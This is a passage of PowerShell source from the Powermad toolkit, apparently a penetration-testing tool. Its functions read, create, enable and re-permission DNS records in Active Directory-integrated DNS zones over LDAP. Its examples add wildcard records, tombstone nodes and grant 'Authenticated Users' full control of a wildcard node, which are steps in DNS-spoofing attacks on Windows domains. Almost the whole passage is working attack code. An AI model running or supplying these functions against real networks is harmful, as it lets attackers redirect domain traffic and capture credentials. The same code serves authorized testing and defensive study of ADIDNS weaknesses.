tombstoned node back into a valid record. This function should be used in place of New-ADIDNSNode when working with nodes that already exist due to being previously added. .PARAMETER Attribute The ADIDNS node attribute. .PARAMETER Credential PSCredential object that will be used to modify the attribute. .PARAMETER Data For most record types this will be the destination hostname or IP address. For TXT records this can be used for data. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER DNSRecord DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Port SRV record port. .PARAMETER Preference MX record preference. .PARAMETER Priority SRV record priority. .PARAMETER Tombstone Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that allows it to be modified or fully tombstoned by any authenticated user. .PARAMETER SOASerialNumber The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a DNS server and querying an SOA record. .PARAMETER Static Switch: Zeros out the timestamp to create a static record instead of a dynamic. .PARAMETER TTL Default = 600: DNS record TTL. .PARAMETER Type Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. .PARAMETER Weight SRV record weight. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Enable a wildcard record. Enable-ADIDNSNode -Node * .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$Data, [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Byte[]]$DNSRecord, [parameter(Mandatory=$false)][Int]$Preference, [parameter(Mandatory=$false)][Int]$Priority, [parameter(Mandatory=$false)][Int]$Weight, [parameter(Mandatory=$false)][Int]$Port, [parameter(Mandatory=$false)][Int]$TTL = 600, [parameter(Mandatory=$false)][Int32]$SOASerialNumber, [parameter(Mandatory=$false)][Switch]$Static, [parameter(Mandatory=$false)][Switch]$Tombstone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if(!$DNSRecord) { try { if($Static) { $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static } else { $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone } Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $directory_entry.InvokeSet('dnsRecord',$DNSRecord) $directory_entry.SetInfo() Write-Output "[+] ADIDNS node $Node enabled" } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } function Get-ADIDNSNodeAttribute { <# .SYNOPSIS This function can return values populated in an ADIDNS node attribute. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array. .PARAMETER Attribute The ADIDNS node attribute. .PARAMETER Credential PSCredential object that will be used to read the attribute. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Get the dnsRecord attribute value of a node named test. Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Attribute, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $output = $directory_entry.InvokeGet($Attribute) } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } return $output } function Get-ADIDNSNodeOwner { <# .SYNOPSIS This function can returns the owner of an ADIDNS Node. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can returns the owner of an ADIDNS Node. .PARAMETER Attribute The ADIDNS node attribute. .PARAMETER Credential PSCredential object that will be used to read the attribute. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Get the owner of a node named test. Get-ADIDNSNodeOwner -Node test .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $output = $directory_entry.PsBase.ObjectSecurity.Owner } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } return $output } function Get-ADIDNSNodeTombstoned { <# .SYNOPSIS This function can determine if a node has been tombstoned. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently tombstoned. .PARAMETER Attribute The ADIDNS node attribute. .PARAMETER Credential PSCredential object that will be used to read the attribute. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Get the dnsRecord attribute value of a node named test. Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') $dnsRecord = $directory_entry.InvokeGet('dnsRecord') } catch { if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') { Write-Output "[-] $($_.Exception.Message)" $directory_entry.Close() throw } } if($directory_entry.Path) { $directory_entry.Close() } $node_tombstoned = $false if($dnsTombstoned -and $dnsRecord) { if($dnsRecord[0].GetType().name -eq [Byte]) { if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) { $node_tombstoned = $true } } } return $node_tombstoned } function Get-ADIDNSPermission { <# .SYNOPSIS This function gets a DACL of an ADIDNS node or zone. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can be used to confirm that a user or group has the required permission to modify an ADIDNS zone or node. .PARAMETER Credential PSCredential object that will be used to enumerate the DACL. .PARAMETER DistinguishedName Distinguished name for the ADIDNS node or zone. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Get the DACL for the default ADIDNS zone. Get-ADIDNSPermission .EXAMPLE Get the DACL for an ADIDNS node named test. Get-ADIDNSPermission -Node test .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Node) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } } else { if($Partition -eq 'System') { $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $directory_entry_security = $directory_entry.psbase.ObjectSecurity $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) $output=@() ForEach($ACE in $directory_entry_DACL) { $principal = "" $principal_distingushed_name = "" try { $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount]) } catch { if($ACE.IdentityReference.AccountDomainSid) { if($Credential) { $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) } else { $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/" } if($directory_entry_principal.Properties.userPrincipalname) { $principal = $directory_entry_principal.Properties.userPrincipalname.Value } else { $principal = $directory_entry_principal.Properties.sAMAccountName.Value $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value } if($directory_entry_principal.Path) { $directory_entry_principal.Close() } } } $PS_object = New-Object PSObject Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal if($principal_distingushed_name) { Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name } Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags $output += $PS_object } } catch { if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*") { Write-Output "[-] $($_.Exception.Message)" } } if($directory_entry.Path) { $directory_entry.Close() } return $output } function Get-ADIDNSZone { <# .SYNOPSIS This function can return ADIDNS zones. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed to the Partition parameter for other Powermad ADIDNS functions. .PARAMETER Credential PSCredential object that will be used to read the attribute. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Partition (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this function will loop through all three partitions. .PARAMETER Zone The ADIDNS zone to serach for. .EXAMPLE Get all ADIDNS zones. Get-ADIDNSZone .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "", [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Partition) { if(!$DistinguishedName) { $partition_list = @("DomainDNSZones","ForestDNSZones","System") } else { $partition_array = $DistinguishedName.Split(",") $partition_list = @($partition_array[0].Substring(3)) } } else { $partition_list = @($Partition) } ForEach($partition_entry in $partition_list) { Write-Verbose "[+] Partition = $partition_entry" if(!$DistinguishedName) { if($partition_entry -eq 'System') { $distinguished_name = "CN=$partition_entry" } else { $distinguished_name = "DC=$partition_entry" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry) if($Zone) { $directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))" } else { $directory_searcher.filter = "(objectClass=dnszone)" } $search_results = $directory_searcher.FindAll() for($i=0; $i -lt $search_results.Count; $i++) { $output += $search_results.Item($i).Properties.distinguishedname } } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } return $output } function Grant-ADIDNSPermission { <# .SYNOPSIS This function adds an ACE to an ADIDNS node or zone DACL. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION Users that create a new DNS node through LDAP or secure dynamic updates will have full control access. This function can be used to provide additional accounts or groups access to the node. Although this function will work on DNS zones, non-administrators will rarely have the ability to modify an ADIDNS zone. .PARAMETER Access Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. .PARAMETER Credential PSCredential object that will be used to modify the DACL. .PARAMETER DistinguishedName Distinguished name for the ADIDNS node or zone. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Principal The user or group that will be used for the ACE. .PARAMETER Type Default = Allow: The ACE allow or deny access type. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Add full access to a wildcard record for "Authenticated Users". Grant-ADIDNSPermission -Node * -Principal "authenticated users" .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Principal, [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Node) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } } else { if($Partition -eq 'System') { $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $NT_account = New-Object System.Security.Principal.NTAccount($Principal) $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access $access_control_type = [System.Security.AccessControl.AccessControlType]$Type $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) } catch { Write-Output "[-] $($_.Exception.Message)" throw } try { $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE) $directory_entry.psbase.CommitChanges() if($Node) { Write-Output "[+] ACE added for $Principal to $Node DACL" } else { Write-Output "[+] ACE added for $Principal to $Zone DACL" } } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } return $output } function New-ADIDNSNode { <# .SYNOPSIS This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP add request. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode. .PARAMETER Credential PSCredential object that will be used to add the ADIDNS node. .PARAMETER Data For most record types this will be the destination hostname or IP address. For TXT records this can be used for data. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER DNSRecord dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for details on the dnsRecord structure. .PARAMETER Domain The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Forest The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Port SRV record port. .PARAMETER Preference MX record preference. .PARAMETER Priority SRV record priority. .PARAMETER Tombstone Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that allows it to be modified or fully tombstoned by any authenticated user. .PARAMETER SOASerialNumber The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a DNS server and querying an SOA record. .PARAMETER Static Switch: Zeros out the timestamp to create a static record instead of a dynamic. .PARAMETER TTL Default = 600: DNS record TTL. .PARAMETER Type Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT. .PARAMETER Weight SRV record weight. .PARAMETER Zone The ADIDNS zone. This parameter is mandatory on a non-domain attached system. .EXAMPLE Add a wildcard record to an ADIDNS zone and tombstones the node. New-ADIDNSNode -Node * -Tombstone .EXAMPLE Add a wildcard record to an ADIDNS zone from a non-domain attached system. $credential = Get-Credential New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$Data, [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$false)][String]$Forest, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = 